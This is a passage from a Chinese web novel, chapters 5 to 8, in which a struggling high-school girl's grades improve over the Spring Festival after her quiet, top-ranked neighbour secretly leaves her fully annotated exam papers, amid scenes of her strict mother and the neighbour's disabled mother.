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,就是因为她想上学,倒也不是想考个好大学,只是倘若当下你不让她上学,她自己都不知道在家闲着干什么,真去厂里上班吗?她可不敢。
然而这些话,她要怎么跟林淑说呢?
林淑是个办实事看结果的人,她拿着这样潦草的成绩单,即便跟林淑说自己想上,也会被反驳一句:“想上没得上等于不想!”
姜至只好沉默。
林淑见状更气,正准备上手,门外传来敲门声,林淑只能瞪她一眼,“把地上扫干净!”
姜至“哦”一声,跑去厨房拿扫帚,刚从厨房出来,就看到林淑打开门,门外站着周识鹤,姜至脚步一顿,有点心虚,她以为周识鹤还是想问厕所的事情,忙邀功似的说:“那个厕所我已经让人修了。”
周识鹤看姜至一眼,似乎这才注意到姜至,好像他此次前来的本意并不是姜至。
不过他嘴上倒是没有驳姜至的面子,“嗯”一声,从口袋里掏出一个不知道什么东西的东西递给林淑,“这是我妈让我送来的,临年关,一切顺利。”
林淑很意外,不过她跟基层打交道多年,很擅长做这些表面工夫,周识鹤刚说完她就连忙惊诧道:“真的啊,那真是辛苦了,哎呀,你们有心了,之前我说话不好听,你也别往心里去,你说我这往外租房子的,对于某些特殊情况,有些介怀我相信你那么聪明也能理解。”
周识鹤话少,“嗯”一声,勉强也算表示理解。
林淑这才又客套地问一句:“你作业写完了吗?”
林淑手里还捏着姜至刚写的试卷,姜至深觉羞耻,想抢走又不敢,只能眼睁睁看着周识鹤瞥了一眼林淑手里的试卷,说句:“写完了。”
果不其然下一句林淑就说:“你看看人家!都是同学!怎么人家能写你就不能!”
其实坦白说,姜至从小到大挨骂挨得都有些麻木了,一般林淑不动手,她都能忍下去,可偏偏在周识鹤面前挨骂,她总是浑身不得劲,眼泪也跟较劲似的,总忍不住往外冒。
姜至怕自己再哭出来,干脆拿着扫帚往屋里去,没几秒钟,就传来大门关上的声音,紧接着就是林淑不知道扔了什么东西在书桌上,姜至逃避似的打算拿着扫帚离开,扫帚被林淑一把抢走,扔下一句:“继续写去!数学不会就写语文!写英语!”
林淑走后,姜至默默坐在书桌前,眼泪开了闸似的往下掉,好一会儿她才抬头看向书桌那个东西,她拿起来,发现是个红色小马形状的针织小挂件,应该是手工做的,正反面分别绣了“马到成功”和“金榜题名”四个字。
什么金榜题名,这个院里还有谁不知道她成绩差吗?跟骂人差不多。
姜至想到刚刚周识鹤跟林淑说“写完了”就有点来气,如果是她的同学家长这么问她她肯定会说没写完,写完了也说没写完,他那样聪明的人会不知道怎么回答这种问题吗?明摆着就是故意的。
报复她的吧。
姜至没忍住把小马丢到了一边,小马里面不知裹了什么圆圆鼓鼓的,还有些弹性,落在桌子上弹了一下掉在了地上,又滚到姜至脚边。
姜至假装没看见,眼不见为净。
5. 补习班
下午林淑临时接到单位通知,走之前让姜至在家好好“考”语文,姜至“哦”一声,当真在下午两点钟老实坐在书桌前,只是刚坐下没多久,门外又传来动静,姜至以为是林淑忘记拿钥匙,一边小跑一边应声:“来了来了。”
房门拉开,门外居然站的是周识鹤。
姜至一时震惊,“你……”
话没说完,眼睛看到他手里的盘子,一下子了然。
“哦。”姜至自问自答。
她伸手接过,掌心和指腹摸到的却不是一个质地,指腹是属于盘子的瓷制冰凉,掌心却硬硬的夹杂着纸质的质感。
她茫然抬头看向周识鹤,周识鹤却什么也没说,转身离开。
他没上楼,而是出去了。
姜至这才想起,昨天周识鹤能在家似乎是有些反常的,他大多数不上学的日子好像都不在家,有时早出晚归,有时又规律得像上班族,也不知道干什么去了。
姜至一边瞎琢磨一边把门关上,她迫不及待把盘子底下的东西拿出来,一看居然是试卷,被折成一个小四方,完全打开以后,姜至惊了。
这试卷居然写得满满当当,每一题的旁边都写了非常详细的解析过程和所套用的公式,答案册子都没那么详细,简直像一本指导手册。
还是给笨蛋看的那种。
姜至又细看,才发现这试卷正是她今天上午写的那张。
周识鹤他……
姜至蓦地回头,仿佛能穿透门窗看到早已走远的周识鹤一般。
愈发临近春节,天气愈发得冷,站在窗前一小会儿,玻璃窗上便起了一层薄薄的雾,看上去像外面悄无声息下了一场白色的大雪,外面寒气飘飘,开着暖气的屋里却暖洋洋的,姜至攥着试卷,心里那汪由上午憋回去的眼泪堆积而成的水泉逐渐烧开沸腾,冒出咕噜咕噜的水泡。
好一会儿,姜至才又回自己房间坐着,她将试卷在桌子上铺好,四个角各压一个重物,盯着试卷看了一会儿,低头打开抽屉,里面放着那个红色小马。
小马是她午饭前自己捡起来的,捡的时候明明房间里只有自己,却依然觉得很心虚,似乎这种行为背叛了刚刚丢掉小马的她。
为了掩耳盗铃,她飞快地把小马丢进了抽屉。
此刻,她终于可以理直气壮地拿起小马,指腹蹭了蹭,把它挂在书架侧边的风铃钩上。
姜至看着它,托腮回忆这些年自己的“寒窗苦读”。
其实早些年林淑是给姜至请过家教的,林淑对姜至的学业如此上心,必然是各种方法都尝试过。
只是青槐毕竟是一个小县城,家教水平很一般,再加上这几年教育局管控私下补课,很多补习班都开得很小心。
以前姜至放学会去补习班,可那补习班人很多,老师根本没有办法顾及到每一个学生,只能走形式一般看着每个学生把作业写完,而选择进补习班的学生大多成绩都在中下游,还有些是家长没时间管,就把孩子扔在这,图个心里安慰,真正学习好得少之又少,于是大家在日复一日的相处中逐渐“同流合污”,朋友越来越多,玩心越来越大,成绩便越来越差。
林淑没能看见姜至学习进步,就直接取消了姜至的补课行程,后来不知道林淑从哪个同事那里经人介绍认识了一个一对一辅导的老师。
老师挺好的,耐心又细心,只是她似乎没想到姜至的基础那么差,有好几次她默认姜至会的东西姜至都不会,偏偏姜至不会也不好意思说,就那么囫囵吞枣蒙混过关。
老师是混过去了,成绩可混不过去。
林淑不明白到底是哪里出了错,她好几次揪着姜至问原因,姜至回答不出来,林淑问她到底有没有用心,到底需要家长花费多少心思才能更上一层楼,姜至也答不出来。
后来有一年暑假,好像是她上初二的时候,姜先舟有个同事的远房亲戚以高分考到了首都,他家境不太好,托亲戚帮忙问问有没有人需要家教,因为还是学生,收费比较便宜。
其实价格什么的林淑倒也不在意,她只是觉得,会不会是这些年找的老师都已经“过时”了?于是便把人请到了家里给姜至补课。
暑假两个月,林淑请了一个半月。
在不足一个月的时候,这人忽然主动辞职了,走之前还跟姜至好好进行了一番道别,告诉她现在正是靠学习谋出路的最后时代,让姜至一定要好好学习。
姜至那几天被林淑安排的“考试”折磨得一个头两个大,对这个年轻老师的话左耳朵进右耳朵出。
老师看着她,忽然问了句无关紧要的,“姜至,你喜欢首都吗?以后会去首都吗?”
姜至想说一个城市也没什么喜欢不喜欢的吧,他父母都不在那边,她也不可能能考上,要说旅游业,首都似乎也不是什么太好玩的地方,她小时候去过一次,觉得太大了,不太适合她。
然而还没等她回答,林淑忽然不知道从哪冒出来,她都没敲门,直接推门说:“靳老师,你手机响了。”
姜至是个循规蹈矩的人,上课的时候老师说什么她听什么,老师让写什么她写什么,老师从来没做过自我介绍,她就也没问过。
她似乎才知道老师姓什么,也突然反应过来,自己还不知道老师叫什么。
不过是没有机会再问了。
姜至对此也没有特别大的兴趣。
其实那次补课还算有点效果,只是不知道为什么,从那以后林淑再也没有给姜至报过类似的补习,她开始自己看着姜至。
可光看着有什么用呢?
该不会还是不会,母女俩一个比一个愁,一个比一个苦。
此刻姜至望着悬挂在空中的红色小马,冒出一个很突兀的想法:如果她初中就认识周识鹤就好了,周识鹤应该是个很有耐心的老师吧。
嗯,不过周识鹤脾气不太好,不会也像林淑一样直接骂她吧?
“……”
算了。
姜至叹了口气,看了眼旁边的数学试卷,还是选择先把语文“考”了。
其他科目后面也没时间考了。
高中寒假短,大家都是数着日子过,平日里记周几,放假全身心记二十几初几。
二十七那天,林淑和姜先舟统一放假,二十八林淑带着姜至出去□□联,按姜先舟的话来说,春联什么的根本不用买,隔壁坐的有一个民间大师,买两张红纸带两瓶酒不就有了?
林淑问他:“酒贵还是春联贵?”
姜先
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舟说她不懂人情世故,林淑才不管他怎么说,反正财政大权在她手里,姜先舟再乐意人情世故,没钱也是白搭。
林淑在春联这种事情上还是很费心的,她愿意花大价钱买时兴的款式,比如一些特别的属相设计款,又或者是烫金的超大号福字。
家里房子多,租客必然不会对这些事情上心,林淑便买了一沓。
每年贴春联这事都是他们一家三口齐上阵,林淑负责一楼自家,姜先舟则跑顶楼三层,姜至去二楼。
今年大家默认和往年一样,姜至却在上楼梯时问姜先舟:“刷子拿了吗?”
姜先舟说:“拿那个干什么?”
姜至故作无语,“三楼还有一间空房呢,门上好脏,不刷怎么贴?”
姜先舟哎哟一声说:“还是女孩心细,你瞧我都没注意。”
姜至笑笑说:“那我先去三楼?一会儿你再上来。”
姜先舟说好。
姜先舟下楼后,姜至没有犹豫地往三楼跑去,按说她该从靠近楼梯的右手边第一户开始贴起,但她直冲冲路过那一户,往周识鹤家奔去。
周识鹤家里还响着录音机,是一首她完全没听过的老歌,寂静的年关冬日,趁得老歌愈发有味道。
姜至这次知道敲门了,只是没人给她开门,迎来的是周识鹤妈妈的声音,“请进。”
姜至知道周识鹤妈妈行动不便,小心翼翼推开门,见到屋里只有周识鹤妈妈自己,心里轻松的同时,又有那么一丝微妙的失望。
她主动露出笑脸,“阿姨好。”
周识鹤妈妈笑得也很开心,“你好啊,姜至。”
姜至很意外周识鹤妈妈居然知道她的名字,兴许是周识鹤提过呢,姜至心里有点高兴,笑意更浓,“我妈让我来贴春联。”
“好,阿姨就不帮你了,免得还要给你添麻烦。”周识鹤妈妈说得很坦然。
姜至听了反而有点不好意思,她连忙摆手,“没事没事,本来就应该我来弄的。”
生怕周识鹤妈妈真的觉得自己是个麻烦。
春联很快贴好,姜至犹犹豫豫,还是没能掏出兜里的试卷。
她没敢进门,上次那件因为自己冒昧误闯造成的后果让她很长一段时间都不敢往三楼看,仿佛多看一眼都是冒犯。
“阿姨,上次那个小马,谢谢你啊。”姜至站在门口。
周识鹤妈妈笑:“我闲着也是闲着,一个小玩意儿,别放在心上。”
这种客套话姜至不知道该怎么接,就也笑着。
很快姜先舟上来,姜至听到动静,本来还想找机会问问周识鹤每天都去哪了,怎么这么忙,眼下只能主动跟周识鹤妈妈说再见。
房门关上后,邓丽把录音机的声音调小了些,门口传来姜至和姜先舟的对话,老子故意在闺女面前卖惨,说自己老了,今年上三楼都开始费劲了,闺女嗔怪地让他不要随便乱讲话,父女俩人的对话稀松平常又如暖阳柔软平静。
邓丽躺在躺椅上,咯吱咯吱的晃荡声响起,她闭上眼睛,想起刚刚姜至临走前一会儿往屋里看,一会儿纠结犹豫的面容,没忍住露了笑。
耳边歌声曼曼:“绿草萋萋,白雾迷离,有位佳人,靠水而居……”
6. 新年好
姜至家一般从林淑和姜先舟放假起便开始从吃喝穿上过新年,林淑虽然总是不满意姜至的学习,但每到新年还是乐意给她买各种各样的新衣服,像小时候打扮她那样。
所以旁人总是想快点长大,闯出自己的广阔天地,姜至却从来只想回到小时候。
小时候多好啊,不用写作业,也不用考试,更不用每天趴桌子上写作业,每天只需要考虑今天吃什么水果,明天穿什么衣服,逢周末林淑还会带她去隔壁市或者省里的游乐园动物园。
姜至觉得她自己这辈子是没什么大出息了,也许拼了老命也拼不出林淑随口托人帮她找的工作。
姜至想着,没忍住,坐在沙发上偏头问林淑,“妈,你真的能给我找到厂上班吗?”
大过年的,林淑差点一口气上不来,她秉着新年不打孩子不生气的原则,沉默好几秒,冷着脸说:“别讨打。”
姜至:“哦。”
晚上家里吃火锅,热气腾腾的,姜至喜欢吃辣,吃完再喝一口可乐或者雪碧。
“妈呀。”她爽得直闭眼感慨。
姜先舟笑着又给她添一杯可乐,“喝完拍拍气嗝,把今年一整年的委屈全拍出来,明年新年新气象。”
姜至笑眯眯地打了一个嗝。
林淑边给姜至夹菜边说姜先舟:“没个正形。”
电视机里放着一个楼盘的宣传广告,三室一厅两卫的噱头叫得很响。
姜先舟忽然想起什么,说:“三楼角那个小房间,要不改成卫生间吧?”
林淑:“改那个干什么?不要钱啊。”
姜先舟:“这不是人多吗,单靠二楼那个也不顶用啊,那天工人来修,修完还跟我说呢,有条件就把三楼那个改了。”
林淑:“没条件。”
姜先舟没辙,只能闭嘴,先把这事放一放。
姜至却没忍住提了嘴,“那房间太小了,其实也没什么人愿意租的,咱们在那空着不也是空着吗?”
倘若从前,姜至必然不会在这种事情上插嘴,可现在提起厕所,姜至脑海里就会不受控制地浮现出那天周识鹤妈妈的狼狈模样。
周识鹤有那么大了,母子俩生活在一起,想必有很多不方便。
也不知道这种日子,他们已经过了多久,又要往后过多久。
想到这些,姜至感觉嘴里的饭都有些没滋没味了。
“你别操心这些。”林淑打断她的思绪。
“你先操心操心你自己的脑子够不够大吧。”林淑又说。
姜至无从反驳,只能闭嘴。
饭后林淑和姜先舟出去散步,他们年龄上来了,吃太多总是不消化,姜至怕冷又犯懒,一个人窝在家里看电视。
电视也没什么好看的,姜至翻来翻去找个动画片看,看着看着外面的大铁门传来动静,姜至像小猫被惊了一样,立马直起背竖起耳朵,待脚步声近些,姜至察觉到,飞快地跑去房间把桌子上叠好的试卷拿出来,又跑去开门。
“周识鹤。”她声音不大,却也因急促显得不太沉稳。
外面不知什么时候又下了雪,大雪似乎全下在了周识鹤一个人身上,他头发身上全白了,衣服也因为是黑色而显得雪更加明显厚重。
自打进入冬天,周识鹤好像一直穿的都是这一件黑袄,内衬也不是什么显眼的颜色,乍一看好像他从来不换衣服一样。
这都过年了,他看上去也没有要拥有新衣服的意思。
姜至心里难免心酸,抿了抿唇,问他:“你……怎么没打伞?”
周识鹤没回答她,“有事吗?”
姜至“哦”一声,把手里的试卷递过去,“这个还你,不好意思,我写得太慢了。”
“没事。”周识鹤伸手接过。
二人都很有分寸感的只捏各自那一角,并未有接触。
周识鹤今天心情似乎还不错,以至于姜至都敢壮着胆问了句:“那个……你物理写完了吗?”
她问完自己先不好意思地低下了头,拿脚蹭了蹭地上的雪,小声说:“那个太难啦。”
姜至家里开了暖气,在房间里总是穿得很少。林淑在吃穿上还算讲究,给姜至买衣服也舍得花钱,毛衣几乎都是纯羊毛羊绒的。
这会儿姜至穿了一件淡蓝色羊绒拉毛衫,她人瘦,骨架也小,毛衣在她身上也不怎么显行,衣摆宽宽鼓鼓的,风全进去了。
刚出来那阵儿因为急迫忘记了温度,这会儿待久了,姜至呼吸都开始变成白雾。
周识鹤看一眼她完全露在雪中的脖颈,雪花自风中飘落在她肌肤上,很快又融在她毛衣领口,他扫了眼她被冻红的耳朵,说:“抽时间给你。”
姜至“哦”一声,“谢谢。”
话音刚落,她猝不及防打一个响亮的喷嚏。
这情况还是有点尴尬的。
姜至不敢想自己刚刚张大嘴的样子有多不堪,她吸了吸鼻子,后知后觉意识到自己可能冻着了,忙不迭说:“你快回去吧,太冷了,拜拜。”
不等周识鹤说什么,姜至几乎跑回了家里,门还没完全关上,她又捂着嘴打了一个喷嚏,这次掌心都有鼻涕喷出来了。
“……”
幸亏她跑得快啊。
然而跑得太快,姜至晚上还是起烧了。
她大半夜哼哼唧唧地起来找药,林淑被吵醒,发现她发烧,纳闷了半天,最后怪在晚饭那一瓶凉可乐上。
好在全家对于姜至这种小病小烧还算应付得很有经验,没多久姜至就平稳睡下了。
二十九一整天姜至都在床上晕晕乎乎地度过,除夕白天姜至起来看了场雪,午饭后又睡了过去,迷迷糊糊疑似听见姜先舟和林淑在吵架。
林淑在哭,压制着声音说:“当初她怎么对我的!现在知道用上我了?我跟你说你休想!你想回你自己回,大过年的别让一家人都不痛快。”
姜先舟只是一味地压低声音说:“你小点声!哭什么,我这不是没去吗?我只是提一个建议,建议。”
林淑才不管什么建议还是意见。
姜至朦朦胧胧地醒来,意识到林淑和姜先舟可能是因为爷爷奶奶在吵架。
大概是姜至上初一的时候吧,姜至的奶奶患上了脑梗,姜至初三那年,她又突发脑溢血,这些年几乎是半瘫在床上,全靠姜至爷爷一个人照顾。
姜至跟爷爷奶奶不亲,据说是因为爷爷奶奶也不太喜欢她,好像小时候对她还可以,后来得知林淑不打算再要二胎,便把火撒在了姜至身上。
那时姜至还小,爷爷奶奶带她去逛菜市场,回来跟林淑说孩子不见了,
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还说一个女孩,不要太上心,家大业大,还是男孩才能撑得住根。
林淑发了疯的去找,最后在路边一个摆摊套圈的地方找到了姜至。
自那以后林淑就跟他们断绝了来往。
姜先舟怎么做,林淑不管,她只要姜先舟保证他们俩不再出现她眼前就行。
然而自打奶奶生病,每年过年,姜先舟都试图劝林淑把他们接到身边来,林淑哪会愿意这个。
今年估计还是老话题。
姜至叹了口气,重新躺回床上睡觉去了。
她管不了这些,她只知道这些年供她上学管她吃喝的,是林淑,是她的妈妈。
当年把她找回来的,也是她的妈妈。
这一觉睡到除夕晚饭时间,姜至勉强有点精神。
这个样子可不像开什么好头,林淑愁得一晚上眉头都没展开过。
晚饭后,外面烟花四起,夜色被雪衬得很亮,姜先舟让姜至套上新的羽绒服去外面拍照。
这是姜至每年的惯例,除夕夜与烟花拍张合影。
姜至高高兴兴地穿上新衣服跑去外面,头顶烟花像流星雨一般,姜至戴着手套帽子,看见墙角的雪,忍不住去玩。
她捧一大把,攥成两个圆球,放在自己脸上苹果肌处让姜先舟给她拍照。
镜头里周边微暗,背景却是五颜六色的烟花雨,姜至穿着浅色的衣服,头上戴着大红色的帽子,嘴巴一咧,看着特别喜庆。
林淑让她拍完赶紧进屋,别又冻着了。
姜至恋恋不舍地把雪球丢掉,准备回屋时,忽然瞥见楼上有人影,她抬头,看见是周识鹤母子俩,不知道在阳台站了多久。
他们齐齐向天边看去,烟花照亮了他们的脸,也让姜至瞧见了他们眼中的柔和。
“周识鹤。”姜至没忍住唤了一声。
他们母子俩一同低头看过来,姜至又补了声:“阿姨。”
“新年好啊。”
说完也没等他们回什么,小跑着往屋里进。
晚上入睡前,姜至脑海里全是周识鹤那双深色的眼睛,她感觉自己的脸热热的,翻来覆去很久把原因归到暖气太热上。
翌日大年初一,各家起鞭炮,庆新年。
这天起,姜至家里开始人来人往,有一年到尾见不了几面的老家亲戚,还有林淑以及姜先舟各自的同事好友,邻居偶尔也会来,带些随手可拎的薄礼。
初二按说要回娘家,但姜至自记事起便很少听林淑提起父母,姜至更是和姥姥姥爷没什么来往,这一天,他们如常在家里过。
上午临近十一点的时候,有人敲门。
林淑以为又是什么同事,起身开门见到外面站着的是周识鹤,很是意外。
“新年好啊,周同学。”
周识鹤:“新年好,阿姨。”
他手里拎着两箱薄礼,林淑笑着说:“怎么还拎东西了。”
周识鹤“嗯”一声,没动,似乎也没有要进门的意愿,只等林淑接过礼,他便离开。
然而林淑却让开了道,“进来坐会儿吧,大过年的,外面多冷。”
周识鹤想说不用了,下一秒却见姜至殷勤地跑过来接东西,“新年好啊,周识鹤。”
周识鹤默了两秒,“嗯,你也是,姜至。”
7. 客套话
姜至也没能留下周识鹤,他家特殊,没人敢强行留,生怕耽搁他什么事。
只是周识鹤临走前,很无端地看了一眼姜至手中其中一盒礼,福至心灵般,姜至懂了。
她第一次意识到自己也许是个聪明人。
姜至家里有个小隔间,里面通常会放一些杂物,逢年关林淑会让人收拾一下,整理出一小块区域放礼品,眼下姜至往隔间去,并未惹林淑和姜先舟疑惑,姜先舟还十分骄傲地称赞说:“姜至现在真是长大了,有眼色了不少。”
林淑哼一声说:“什么时候脑子也长大点就好了。”
姜先舟嫌弃她大过年说这个,林淑冷笑一声,不再说什么。
姜至这会儿心情好,听见了他们二人的对话也不往脑子里进,她满心思都在那盒礼上。
是一盒酥饼。
姜至蹲着看,果不其然发现上面的封口撕开又粘上的痕迹。
姜至有些急迫地撕开封口,一不小心撕下了包装的东西,盒子里面的原色都露出来了。
她这会儿有点顾不上了,直接打开,拿出里面两张试卷往兜里揣,试卷带出一小袋酥饼,姜至本想装回去,一想到刚刚那封口,干脆拿着出去了。
林淑见状问:“这就饿了?”
姜至含糊:“嗯。”
姜先舟:“我看是馋吧。”
姜至眯眼一笑,糊弄过去。
周识鹤这次送来的是两张物理试卷,高中的物理有时候比数学还复杂,姜至一题能看上好半天,好在周识鹤写得非常详细,姜至虽然磕磕绊绊,但最终都能看懂。
不知道是不是这些试卷起了效果,姜至感觉自己做册子都顺利了不少。
初五一走,年好像就结束了。
林淑和姜先舟初七上班,姜至初十开学,余下的几天每一天都显得很紧迫。
姜至在林淑的监管下,每天按时按点写作业,考试的时间都没有,勉强在开学前两天,姜至把所有作业写完了。
她状若轻松地在椅子上软了身子,林淑瞧了都来火,“你还有心思放松呢,开学考能考几分?”
姜至现在哪里还管得了这些,她只想后面两天好好睡个好觉。
初九那天,姜至观察到周识鹤好像没出门。
林淑和姜先舟去上班后,姜至便把家里的礼收拾出来两盒,往三楼走去。
周识鹤在门口打电话,说什么姜至没听太清,好像是什么补课相关的,姜至不确定她方不方便听,便站在楼梯口没有前进,待周识鹤挂断电话她才过去,把礼递出去。
“新年好。”姜至没什么更多更新鲜的话跟周识鹤说。
周识鹤倒是没客气,接过“嗯”一声。
今天怎么不跟她说她也是了。
姜至在心里嘀咕。
“那个……”姜至见周识鹤拎得随便,便想提醒他一下试卷在里面。
周识鹤顺着姜至的目光低头看一眼,“知道。”
姜至:“哦。”
外面冷,两个人虽然一来二去多次,但也实在不熟,话不多。
气氛有点尴尬。
姜至便想着干脆回了,然而还没开口,屋里周识鹤妈妈忽然唤了声:“是姜至吗?”
姜至下意识“哎”了一声。
周识鹤妈妈笑说:“新年好啊,姜至。”
姜至“哎”一声,“您也新年好,阿姨。”
“进屋坐坐吧。”
按说这都是些客套话,毕竟周识鹤家里门都没开。
哪知下一秒就听姜至说一句:“哦,好。”
她说完看向周识鹤,眼巴巴的。
周识鹤:“……”
-
周识鹤家里实在没什么能招待姜至的,好在姜至也没留意别的,一进门就被周识鹤妈妈做的手工小玩意儿吸引。
“阿姨好。”姜至走过去,她很下意识蹲那,为了能够好好跟坐在躺椅上的周识鹤妈妈说说话。
“你好,”邓丽看着乖乖的姜至笑,“蹲这儿干嘛,小周呢,把凳子搬过来。”
小周?
姜至看向周识鹤。
周识鹤没说什么,看上去已经对这个称呼免疫,他随手抄来旁边的小马扎放在姜至旁边,姜至朝他笑笑道谢,周识鹤并没有理她。
然而姜至已经默认周识鹤性格如此,并不觉得周识鹤这是不欢迎她。
姜至坐在小马扎上,脚旁边的地上有一个鞋盒子,鞋盒子里堆满了各种小玩意儿,有小萝卜,有米老鼠头,有鱼有花,各种颜色各种款式,看着很喜人。
“阿姨,你是专门学的这个吗?”姜至小大人一样坐那聊天。
“没有,”邓丽说,“我有天赋,信手拈来。”
姜至有点震惊于周识鹤妈妈的性格,她愣了愣,随后看见周识鹤妈妈挑了挑眉。
周识鹤妈妈这张脸因为生病已经出现了部分歪斜的肌肉走向,但这并不妨碍她做这些有趣的表情,她眼睛亮亮的,显得表情更加生动。
姜至笑了,“厉害。”
“有点枯燥,我放点我老姐妹的声当背景音行不?”邓丽说。
姜至:“谁?”
邓丽随手按下旁边的录音机,中国大部分人都听过的“甜蜜蜜”流水一般唱出来,“我叫邓丽。”
姜至恍然大悟:“你们姐妹俩都挺厉害。”
邓丽一顿,乐出了声。
姜至搞不懂她乐什么,出于礼貌,也跟着弯眼睛乐呵呵。
姜至平时在家就一个人待着,她从小到大习惯了一个人,日子过得稀松平常,难得闲暇日子有人聊天,居然很快就过去了两个小时。
要不是林淑一边打电话一边进门的声音提醒了姜至,姜至差点就要留下吃午饭了。
“怎么从楼上下来的?”林淑正准备推家门时,看见姜至从旁边过来。
姜至没撒谎,“去给周识鹤家里送了两盒礼。”
林淑本来就是随口一问,姜至这么一说,林淑脚步一顿,看向姜至。
姜至继续说:“他是我同学,他上次来我们家送礼了,我想着还回去两件。”
倒是于情于理。
林淑早年因为家教的事情担心过姜至一阵儿,后来发现这孩子不仅学习一般,别的地方似乎也没怎么开窍,便不
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再忧心。
“别光吃人家送来的东西,人家的学习能力和态度也往脑子里进进。”
快开学了,林淑张口闭口都是学习,姜至早就听麻木了,全当耳旁风。
初十正式开学,已经到了高二下学期,普通班级的学习进度还剩最后不足四分之一的课程,天甲板却在高二上学期末就完成了整个高中的学习内容,剩下的一年半时间全是复习。
开学第二天周一,学校安排了开学考,全程模拟高考,两天半结束,学校全体老师周三下午批改试卷,学生自习,周四一大早,全科分数与排名公布。
姜至上次考试全班五十人,她考四十七名。
这次全班还是五十人,她考了四十六名。
但是这次,她的总分比上次总分整整多了六十分。
与第四十五名的差距,也明显比上次近了一些。
天中的天甲班跟其他班不太一样,而且姜至在的班级是天甲一班,也就是说,整个学校,中考前四十五名的全在这个班里。
剩下五名同学,和姜至一样,是借读生。
借读生想在这种班级考出名次是很难的,姜至自打入校第一天,就有一种进入其他国度的感觉,这里每个人跟她穿一样的衣服,学一样的书本,说一样的语音,可生存制度似乎和她认知里的不太一样。
起初她也难过,想要追赶些什么,可她与他们的差距不是努力就能消减的,所以久而久之,她便麻木了。
他们班情况林淑是知道的,所以姜至以前会努力让自己的排名保持在第四十六名,其他就看和第四十五名之间的差距了,只有有进步,林淑是能理解的。
可自打进入高二,她每一个周考月考大小考,都没有上过四十六,好几次显些掉到四十九。
这是目前为止的唯一一次,也是第一次,她进步了。
姜至看着贴在班级前黑板旁空白墙上的成绩单,没忍住红了眼睛。
“我的天,姜姜你进步好多。”陶馨吃惊道。
代湘智闻声也凑上去看,这一看不得了,立马瞪眼,“你过年补课啦?”
姜至已经说不出话了,她也实在不想因为这种成绩哭,说出去还不够丢人的。
“不算吧。”姜至动作很小地吸了吸鼻子。
可能也算吧。
她想着,眼睛瞟向了周识鹤。
周识鹤这次还是班里的第一名,也是年级第一,年级第二也在他们班,周识鹤拉了第二名四十多分。
所有人都说在千军万马的高考独木桥上,一分上千人,可周识鹤却能每次都轻轻松松拉开第二名几十分。
好可怕的人类。
姜至完全没有羡慕或者嫉妒的情绪心理,她只有敬佩和畏惧。
“走吧,小姜姜,中午请我们吃糖。”陶馨很潇洒地搭上姜至的肩。
姜至朝她笑笑说好,三人前前后后地往后排走,路过周识鹤座位时,姜至犹豫了下,还是放慢了脚步。
只是周识鹤似乎在很认真地做题,并没有注意到她往返两次都路过了他的身旁。
姜至只好收回目光,往自己的方向走去。
8. 水果糖
姜至是大课间跟陶馨代湘智一起去的超市,陶馨喜欢吃水果夹心糖,代湘智喜欢吃巧克力,姜至各买了一些,分给她俩。
她俩吃得见牙不见眼,笑眯眯的。
姜至平时不怎么爱吃这种工业糖,看她们吃那么高兴,买忍住给自己拆了一个,刚丢进嘴里两秒钟就蹙了眉头。
陶馨瞧见说:“公主,不爱吃就全给我,别勉强自己。”
姜至轻轻拍她一下,让她闭嘴。
冬天冷,学校虽然大,但也没多少人愿意出来逛。
况且已经到高二下学期了,班里很多人都默默给自己拉高了的警惕,根本不用老师耳提面命地告知他们时间的紧迫。
天甲班的学生总是如此。
以前姜至听说林淑要把她转进天甲班时,还心想该不会是一整个班的书呆子吧,大家会不会不跟她玩,孤立她。
后来姜至发现成绩好的学生,成绩好只是他们为数不多的一个优点。
他们大多数都是有天赋的人,偏偏除此之外又勤奋,肯上进,谦虚,性格又好,很热衷帮助别人,几乎不会瞧不起成绩差的学生。
反而是姜至带着很浓厚的偏见与刻板印象与他们相识。
想到这里,姜至忍不住一个胳膊挽一个人地跟陶馨和代湘智撒娇说:“你们真好。”
陶馨:“哟,哪里来的感慨。”
代湘智摸摸姜至的脸,“对啊。”
姜至没继续说什么,如果单从她们俩没有嫌弃她成绩差这一点说,未免显得这句感慨太单薄。
她嘻嘻一笑,“由衷的感慨。”
从楼梯口拐进走廊时,陶馨随手从兜里掏出一张试卷,说:“我去趟办公室。”
代湘智无语了,“卷死我了。”
姜至倒是没什么情绪。
大家都是相互的,他们不会瞧不起她成绩差,她也不会因为她们爱学,成绩好而嫉妒阻止她们前进的脚步。
代湘智思忖了下,“我去拿化学试卷。”
说完回头问姜至,“你呢?”
姜至扯了扯唇角,“……我需要问的太多了,今天先放老师们休息一下。”
代湘智想了想,赞同姜至的观点,一个人加快步伐跑了。
这层楼一共四个班,全是天甲班,走廊很安静,也没什么人打闹,偶尔有人出来放放风,聊聊天,很快又回教室。
今天天气好,阳光明媚,蓝天白云,姜至慢悠悠往班里走,感觉今天风里都是让人轻松的味道。
走着走着,另一个方向的尽头,周识鹤从班里出来,他直直地往这边来,不知道是要上厕所还是去老师办公室。
姜至忽然有点尴尬,眼睛往旁边瞟了瞟,又觉得这样实在太“装模作样”,可就那么直勾勾与周识鹤对视,她又做不到。
左思右想的,姜至感觉自己都快同手同脚了。
然而周识鹤却没有任何异常,他大大方方地走过来。
很快,周识鹤与姜至之间仅有几步之遥。
姜至双手抄兜时,忽然摸到什么,她脚步一顿,停了下来。
周识鹤见她停下,似有疑惑,他眼睛看着姜至,虽然只有眉间轻动,但姜至也细心地捕捉到,他似乎是在问:怎么了?
只要他没有完全无视她就行。
姜至心里松了口气,也有勇气开了口,“周识鹤。”
周识鹤停下来。
姜至从兜里掏出自己刚刚买的糖和巧克力,这是刚刚分给陶馨和代湘智时,她刻意留下来的。
“这个给你,”姜至说,“我这次成绩进步了很多,谢谢你的试卷。”
青槐的冬日又干又冷,阳光总是显得奢侈,此刻光影如轻纱一般落在走廊上,姜至本就面孔柔和,照一层光,更让人瞧得舒心。
周识鹤看着她,目光扫过她亮晶晶的眼睛,落在她掌心的几颗糖上。
包装皮花里胡哨的,看着像是小孩子才会吃的东西。
周识鹤都多少年没吃过这种东西了。
周识鹤本没有兴趣接,抬眸一看发现姜至还是那副满怀期待的表情和眼神,他顿了下,伸手拿了一颗水果糖。
“谢谢。”他向她道谢。
姜至受宠若惊,忙不迭摇手,“不谢不谢……不是,是我谢谢你。”
“嗯。”周识鹤没再多说,示意自己先走,姜至又急忙让开道,怕耽搁了周识鹤什么。
待周识鹤走后没多久,陶馨先代湘智一步从办公室出来,她远远地瞧见姜至一个人呆兮兮地站在走廊,飞快地跑过去搂住姜至,“干嘛呢!”
给姜至吓一跳。
